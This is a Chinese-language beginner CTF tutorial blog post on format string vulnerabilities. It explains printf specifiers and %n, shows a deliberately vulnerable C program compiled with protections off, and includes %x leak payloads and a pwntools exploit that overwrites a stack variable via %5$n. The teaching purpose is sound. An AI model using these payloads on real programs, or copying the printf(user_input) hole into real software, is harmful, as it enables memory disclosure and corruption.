赞
踩
0x00 前言
pwn新手练习区的 string
等,通过这两天的学习,发现还是有必要系统的归纳一下相关知识点,在这里我们以问题为导向展开学习。
0x01 格式化字符串
Q1:什么是格式化字符串
格式化字符串(format string)是一些程序设计语言在格式化输出API函数中用于指定输出参数的格式与相对位置的字符串参数,例如C、C++等程序设计语言的printf类函数,其中的转换说明(conversion specification)用于把随后对应的0个或多个函数参数转换为相应的格式输出;格式化字符串中转换说明以外的其它字符原样输出。[2]上述内容是wiki对格式化字符串的解释,简单来说,格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。[3] 比如:
printf("Hello %s, Your ID is %d", name, &ID)
对于格式化函数printf
来说,"Hello %s, Your ID is %d"
是printf函数的第一个参数,该参数被称为格式化字符串
,name
是printf函数的第二个参数,&ID
是printf函数的第三个参数,其中%s
控制name
的输出,%d
控制着&ID
的输出;
对于格式化字符串 "Hello &s, Your ID is %d"
来讲,name
是它的第一个参数,&ID
是它的第二个参数;
例如上图:通过上面的例子,可以看出,该printf函数的格式化字符串中有两个控制字符
- printf函数第一个参数(格式化字符串)的地址为
0xffffd8a0
,该地址指向地址0x804a00b
,位于栈顶esp
;- printf函数第二个参数的地址为
0xffffd8b8
,在栈中处于0xffffd8a4
,esp+4
;- 第三个参数为
0x2
,通过栈可以看出该数值被存放在地址为0xffffd8a8
,栈中为esp+8
%s
和%d
,说明栈中两个连续的高地址是格式化字符串的第1,2个参数,也是printf函数的第2,3个参数。
Q2:格式化字符串函数的作用是什么?
Q3:格式化字符串函数的组成是什么?
printf函数
"Hello %s, Your ID is %d"
name
和&ID
Q4:格式化字符串的格式是什么?
[2]&[3]
%[parameter][flags][field width][.precision][length]type
parameter
:n$,获取格式化字符串中的指定参数;n是用这个格式说明符(specifier)显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。如果任意一个占位符使用了parameter,则其他所有占位符必须也使用parameter。这是POSIX扩展,不属于ISO C。例:printf("%2$d %2$#x; %1$d %1$#x",16,17),产生"17 0x11; 16 0x10
"
flags
:(此项省略)
field width
:输出的最小宽度;
Precision
:通常指明输出的最大长度,依赖于特定的格式化类型;
Length
:指出浮点型参数或整型参数的长度;
字符 | 描述 |
---|---|
hh | 对于整数类型,printf 期待一个从char 提升的int 尺寸的整型参数。 |
h | 对于整数类型,printf 期待一个从short 提升的int 尺寸的整型参数。 |
l | 对于整数类型,printf 期待一个long 尺寸的整型参数。对于浮点类型,printf 期待一个double 尺寸的整型参数。对于字符串s类型,printf 期待一个wchar_t 指针参数。对于字符c类型,printf 期待一个wint_t 型的参数 |
ll | 对于整数类型,printf 期待一个long long 尺寸的整型参数。Microsoft也可以使用I64 。 |
L | 对于浮点类型,printf 期待一个long double 尺寸的整型参数。 |
z | 对于整数类型,printf 期待一个size_t 尺寸的整型参数。 |
j | 对于整数类型,printf 期待一个intmax_t 尺寸的整型参数。 |
t | 对于整数类型,printf 期待一个ptrdiff_t 尺寸的整型参数。 |
type
:
字符 | 描述 |
---|---|
d/i | 有符号十进制数值int 。'%d '与'%i '对于输出是同义;但对于scanf() 输入二者不同,其中%i 在输入值有前缀0x 或0时,分别表示16进制或8进制的值。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。 |
u | 十进制unsigned int 。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空 |
c | 如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把wint_t参数转为包含两个元素的wchart_t数组,第一个元素包含要输出的字符,第二个元素为null宽字符 |
o | 8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空 |
s | 如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向wchar_t型的数组,输出时把每个宽字符转化为多字节字符,相当于调用wcrtomb函数 |
n | 不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量 |
p | void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值;printf("%p", &a) 打印变量 a 所在的地址。 |
x/X | 16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空 |
% | '% '字面值,不接受任何 flags, width。 |
特别说明
这里简单的介绍一下
%n
控制符,下面会用到:%n 用于将当前字符串的长度打印到var中,例如:
//gcc str.c -m32 -o str#include int main(void){int c = 0;printf("the use of %n", &c);printf("%d\n", c);return 0;}
上述结果为11
,也就是the use of
的长度。具体原理:当printf
在输出格式化字符串的时候,会维护一个内部指针,当printf
逐步将格式化字符串的字符打印到屏幕,当遇到%
的时候,printf
会期望它后面跟着一个格式字符串,因此会递增内部字符串以抓取格式控制符的输入值。这就是问题所在,printf
无法知道栈上是否放置了正确数量的变量供它操作,如果没有足够的变量可供操作,而指针按正常情况下递增,就会产生越界访问。甚至由于%n的问题,可导致任意地址读写。[5]
Q5:常见的格式化字符串函数有哪些?
[3]
名称 | 基本介绍 | 类别 |
---|---|---|
scanf | 从stdin中向特定地址中读值 | 输入 |
printf | 输出到 stdout | 输出 |
fprintf | 输出到指定 FILE 流 | 输出 |
vprintf | 根据参数列表格式化输出到 stdout | 输出 |
vfprintf | 根据参数列表格式化输出到指定 FILE 流 | 输出 |
sprintf | 输出到字符串 | 输出 |
snprintf | 输出指定字节数到字符串 | 输出 |
vsprintf | 根据参数列表格式化输出到字符串 | 输出 |
vsnprintf | 根据参数列表格式化输出指定字节到字符串 | 输出 |
setproctitle | 设置 argv | 输出 |
syslog | 输出日志 | 输出 |
err, verr, warn, vwarn 等 | …… | 输出 |
0x02 格式化字符串漏洞原理
Q1
中我们已经介绍了什么是格式化字符串,并且用例子也进一步说明,那么现在主要介绍一下格式化字符漏洞原理:格式化字符串函数是根据格式化字符串函数来进行解析的。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制,所以当prinf函数没有格式化字符串时,我们可以通过输入控制字符来泄露内存信息,用下面的代码为例:
正常应该这样写:
// code1# includeint main(){ int a = 6,b=20; char c[20]; printf("%p\n", &a); scanf("%s",c); printf("%s\n",c); if(a = 8) printf("Success"); else printf("Fail");}
正常结果为
Hello World!Fail
由于开发者的粗心或者偷懒,将上述代码写成如下所示:
// code2# includeint main(){ int a = 6,b=20; char c[20]; printf("%p\n", &a); scanf("%s",c); printf(c); if(a == 8) printf("Success"); else printf("Fail");}
有一位大佬执行该程序后,输出的结果却是:
\xd8\x16\xfa\xffaaaaSuccess
我们就以这个简单的例子入手,来梳理和讲解格式化字符串漏洞原理。
Q1:printf("%s",c);和printf(c);有什么区别?
这里主要看stack中的情况,其中左边的是printf("%s",c);
语句,右边是printf(c);
语句,从code中可以看出 printf 函数的arg[0]
(格式化字符串)的地址并不一样,但是从 stack
中可以看到 esp 的地址,也就是两种情况格式化字符串在栈中的存储地址都是0xffffd8a0
,由此可以看出
printf("%s",c);
的格式化字符串为%s
printf(c);
的格式化字符串为我们输入的AAAA%x.%x.%x.%x.%x.%x.%x
,在这里我们可以把printf(c);
当作printf("AAAA%x.%x.%x.%x.%x.%x.%x");
后续参数被省略掉,也就是说格式化字符串要打印的参数有7
个,所以从格式化字符串的地址依次+4
,则打印的参数地址为esp+0x4
、esp+0x8
、esp+0xc
、esp+0x10
、esp+0x14
、esp+0x18
、esp+1c
,那么对于上图中的例子,输出的结果为:
输入:AAAA%x.%x.%x.%x.%x.%x.%x输出:AAAAffffd8b4.0.8049189.f7fb33fc.41414141.252e7825.78252e78Fail
上述结果分别对应:
栈顶偏移 | 格式化字符串参数 | 函数参数 | 栈中地址 | 输出结果 |
---|---|---|---|---|
esp | 格式化字符串 | 1 | 0xffffd8a0 --> 0xffffd8b4 | AAAA |
esp+0x4 | 1 | 2 | 0xffffd8a4 --> 0xffffd8b4 | ffffd8b |
esp+0x8 | 2 | 3 | 0xffffd8a8 --> 0x0 | 0 |
esp+0xc | 3 | 4 | 0xffffd8ac --> 0x8049189 | 8049189 |
esp+0x10 | 4 | 5 | 0xffffd8b0 --> 0xf7fb33fc | f7fb33fc |
esp+0x14 | 5 | 6 | 0xffffd8b4 ("AAAA") | 41414141 |
esp+0x18 | 6 | 7 | 0xffffd8b8 ("%x.%") | 252e7825 |
esp+0x1c | 7 | 8 | 0xffffd8bc ("x.%x") | 78252e78 |
Q2:为什么要输入AAAA%x.%x.%x.%x.%x.%x.%x?
code2
的代码作为例子,看看main
函数中变量 a、b 和 c 存放的位置,通过gdb进行调试,首先来确定变量 a 和 b 的位置,如下图:
下面我们再来寻找 c 的位置,如下图:
从上图中得信息可以得出局部变量 a、b 和 c 在栈中的情况,如下图:
printf("%s",c); + 输入:AAAAAAAAAAAAAAAAAAAA
下面我们先来看看如果遇到正常的输出printf("%s",c);
,看看栈中的情况(输入字符串“AAAAAAAAAAAAAAAAAAAA”的前提下)如下图:
输出结果为AAAAAAAAAAAAAAAAAAAA
。从上图和结果可以看到esp处的是格式化字符串
,里面只有一个控制字符%s
,所以格式化字符串只有一参数,位于esp+0x4
处,那么输出的结果就是esp+4
指向地址所对应的值AAAAAAAAAAAAAAAAAAAA
。 注:这里有一点需要注意,任意的内存的读取需要用到格式化字符串 %s,其对应的参量是一个指向字符串首地址的指针,作用是输出这个字符串。[4]
printf(c); + 输入:AAAAAAAAAAAAAAAAAAAA
下面我们先来看看如果遇到printf(c);
,看看栈中的情况(输入字符串“AAAAAAAAAAAAAAAAAAAA”的前提下)如下图:
输出结果为AAAAAAAAAAAAAAAAAAAA
,虽然这里也是输出20个重复的A,但是和上面的情况完全不一样,这里是因为格式化字符串中没有控制符,所以只将格式化字符串输出,这里一定要分清。 那再想一想,因为格式化字符串是我们的输入,如果我们在输入中加入控制符,比如%x、%p、%n等,那么我们是不是就可以泄露栈上的信息呢?不懂的话下面来一个例子,也就回到了我们这个小问题上为什么要输入AAAA%x.%x.%x.%x.%x.%x.%x
?首先来简单的分析一下:
- 因为我们输入的是 c 的值,c 是局部变量,所以输入的内容被分配在栈上
- 因为
printf(c);
函数中没有格式化字符串,只有一个参数 s,所以printf把s
地址中的内容当作第一个参数,也就是printf函数的格式化字符串- 因为我们的输入含有
7
个控制符%x
,所以相当于printf函数的有7
个格式化字符串参数(注意是格式化字符串参数,不是函数参数),所以我们可以将后面7个连续地址都打印出来- 因为我们能控制的只有 c 的输入,所以我们可以通过
AAAA%x.%x.%x.%x.%x.%x.%x
来查找 c 的起始地址(也可以说成参数偏移),从而可以进一步利用我们的输入来改相应的值
Q3:利用格式化字符串漏洞能做
什么?
[3]通过对格式化字符串漏洞的利用,可以实现如下功能:
程序崩溃
泄露内存
获取栈变量数值
获取栈变量对应字符串
泄露栈内存
泄露任意地址内存
覆盖内存
覆盖小数字
覆盖大数字
覆盖栈内存
覆盖栈内存
进行覆盖
覆盖栈内存
覆盖任意地址内存
0x03 例题探析
这里还是以code2中的代码为例:
// code2# includeint main(){ int a = 6,b=20; char c[20]; printf("%p\n", &a); scanf("%s",c); printf(c); // 存在格式化字符串漏洞 if(a == 8) printf("Success\n"); else printf("Fail\n"); printf("%d",a);}
① 编译
为了简单的进行格式化字符串漏洞,在编译时将保护关闭掉:
gcc -m32 -fno-stack-protector -no-pie -o format_string format_string.c
② 确定数组 c 在栈中相对于格式化字符参数序列
为了确定数组 c 是格式化字符串的参数个数,这里需要通过我们的输入进行泄露,运行程序,并且输入:AAAA%x.%x.%x.%x.%x.%x.%x
,查看运行结果:
AAAAff920694.0.8049189.f7f0c3fc.41414141.252e7825.78252e78Fail
因为“AAAA“的十六进制为”41414141“,所以我们可以判断数组 c 是格式化字符串的第 5
个参数,是printf函数的第 6
个参数,如图:
根据上图,我们简单的来画一下此时栈中的示意图:
③ 改变变量 a 的值
由于目前几乎上所有的程序都开启了 aslr 保护,所以栈的地址一直在变,所以我们这里故意输出了 c 变量的地址。[3]在这里我们想一想怎么才能改变 c 的值呢?让我们一步一步的深入研究:
1) 我们已经知道了栈中的情况,以及变量 c 相对于格式化字符串的参数序列(第5个参数),而且我们能控制的输入只有 c,所以我们要想办法要通过对 c 的输入,向 a 地址写入我们想要输入的值
2) 如何实现这一目标呢?这里需要用到一个控制字符
%n
和%length$x
%n
:不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量;
%n$x
:可以直接获取栈中被视为printf函数第 n+1 个参数的值
我们已经确定了数组 c 的地址位置相当于格式化字符串的第 5
个参数,所以我们要在数组 c 的首地址写入 a 的地址,然后使用%5$n
向该地址写入 8,由于 a 的地址长度为 4,所以我们只需要在 %5$n
前面填充 4
个字符,这样输出的字符串长度为 8
,那么 %5$n
就会将 8
赋值给格式化字符串的第 5
个参数所指向的地址,也可以将此构造(不唯一)格式进行统一:
[address][padding][%len$n]
根据上述分析,我们可以构造如下payload:a_addr + "aaaa" + "%5$n"
,则完整的 exp 如下:
from pwn import *sh = process("./printf_test2")a_addr = int(sh.recvuntil("\n",drop=True),16)payload = str(p32(a_addr),encoding="unicode_escape") + "aaaa" + "%5$n"sh.sendline(payload)print("[+] result is:",sh.recvuntil("\n"))print("[+] a_value is:",str(sh.recv(),encoding="unicode_escape"))sh.interactive()
输出结果如下:
root@kali:~/Documents/CTF/PWN/Test# python3 printf_test2_exp.py[+] Starting local process './printf_test2': pid 2187[+] result is: b'\xa8\xaa\x9f\xffaaaaSuccess\n'[+] a_value is: 8[*] Switching to interactive mode[*] Process './printf_test2' stopped with exit code 0 (pid 2187)[*] Got EOF while reading in interactive$
从上述结果中的“success”,以及 a 的值中可以分析出,我们已经成功的将 a 的值改为了
8
,这个时候栈中的情况如下示意图:
这里要注意:
我们不能直接在命令行输入
\xa8\xaa\x9f\xffaaaa%5$n
这是因为虽然前面的确实是 a 的地址,但是,scanf 函数并不会将其识别为对应的字符串,而是会将\
、x
、a
、8
,所以要用pwntool工具。
0x04 References
[1] CWE和CVE及其关系
[2] 格式化字符串
[3] 格式化字符串漏洞原理介绍
[4] 格式化字符串漏洞原理详解
[5] 详谈Format String(格式化字符串)漏洞
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。